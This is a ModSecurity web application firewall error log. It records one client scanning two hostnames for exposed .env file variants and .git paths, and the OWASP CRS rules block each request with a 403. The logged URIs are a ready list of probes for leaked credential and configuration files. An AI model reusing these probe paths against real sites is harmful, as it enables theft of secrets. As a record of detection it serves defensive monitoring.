[Mon Oct 26 08:36:23.128109 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JR5_dbg3ptBnwDgQ5GgAAAAM"]
[Mon Oct 26 08:36:23.128242 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JR5_dbg3ptBnwDgQ5GgAAAAM"]
[Mon Oct 26 08:36:23.128480 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at9JR5_dbg3ptBnwDgQ5GgAAAAM"]
[Mon Oct 26 08:36:23.137916 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR03DiqOFJPXX6P43ogAAABM"]
[Mon Oct 26 08:36:23.138041 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR03DiqOFJPXX6P43ogAAABM"]
[Mon Oct 26 08:36:23.138336 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR03DiqOFJPXX6P43ogAAABM"]
[Mon Oct 26 08:36:23.147505 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JRwsj78QLlrBrm-445QAAAAc"]
[Mon Oct 26 08:36:23.147632 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JRwsj78QLlrBrm-445QAAAAc"]
[Mon Oct 26 08:36:23.147876 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JRwsj78QLlrBrm-445QAAAAc"]
[Mon Oct 26 08:36:23.162500 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JR3hYESb98d-GXViKmQAAAAs"]
[Mon Oct 26 08:36:23.162621 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JR3hYESb98d-GXViKmQAAAAs"]
[Mon Oct 26 08:36:23.162886 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at9JR3hYESb98d-GXViKmQAAAAs"]
[Mon Oct 26 08:36:23.185110 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JRxA_yAFS6UHz-l1VQQAAAA0"]
[Mon Oct 26 08:36:23.185298 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JRxA_yAFS6UHz-l1VQQAAAA0"]
[Mon Oct 26 08:36:23.185505 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JRxA_yAFS6UHz-l1VQQAAAA0"]
[Mon Oct 26 08:36:23.192753 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JR3T09R7Np-FQ85dj1AAAAAo"]
[Mon Oct 26 08:36:23.192930 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JR3T09R7Np-FQ85dj1AAAAAo"]
[Mon Oct 26 08:36:23.193155 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9JR3T09R7Np-FQ85dj1AAAAAo"]
[Mon Oct 26 08:36:23.200575 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JRw9c_Zz9LocrxF9epwAAAAU"]
[Mon Oct 26 08:36:23.200709 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JRw9c_Zz9LocrxF9epwAAAAU"]
[Mon Oct 26 08:36:23.200928 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JRw9c_Zz9LocrxF9epwAAAAU"]
[Mon Oct 26 08:36:23.202526 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR3tuNRyqJbUWH7Jv6wAAAAQ"]
[Mon Oct 26 08:36:23.202661 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR3tuNRyqJbUWH7Jv6wAAAAQ"]
[Mon Oct 26 08:36:23.202902 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR3tuNRyqJbUWH7Jv6wAAAAQ"]
[Mon Oct 26 08:36:23.202958 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR3tuNRyqJbUWH7Jv6wAAAAQ"]
[Mon Oct 26 08:36:23.202974 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9JR3tuNRyqJbUWH7Jv6wAAAAQ"]
[Mon Oct 26 08:36:23.211083 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JR5_dbg3ptBnwDgQ5GwAAAAM"]
[Mon Oct 26 08:36:23.211215 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JR5_dbg3ptBnwDgQ5GwAAAAM"]
[Mon Oct 26 08:36:23.211428 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at9JR5_dbg3ptBnwDgQ5GwAAAAM"]
[Mon Oct 26 08:36:23.245412 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JR3hYESb98d-GXViKmgAAAAs"]
[Mon Oct 26 08:36:23.245541 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JR3hYESb98d-GXViKmgAAAAs"]
[Mon Oct 26 08:36:23.245741 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9JR3hYESb98d-GXViKmgAAAAs"]
[Mon Oct 26 08:36:23.270754 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JR3T09R7Np-FQ85dj1QAAAAo"]
[Mon Oct 26 08:36:23.270931 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JR3T09R7Np-FQ85dj1QAAAAo"]
[Mon Oct 26 08:36:23.271163 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9JR3T09R7Np-FQ85dj1QAAAAo"]
[Mon Oct 26 08:36:23.303684 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR03DiqOFJPXX6P43pAAAABM"]
[Mon Oct 26 08:36:23.303876 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR03DiqOFJPXX6P43pAAAABM"]
[Mon Oct 26 08:36:23.304212 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR03DiqOFJPXX6P43pAAAABM"]
[Mon Oct 26 08:36:23.315041 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JRwsj78QLlrBrm-445wAAAAc"]
[Mon Oct 26 08:36:23.315191 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JRwsj78QLlrBrm-445wAAAAc"]
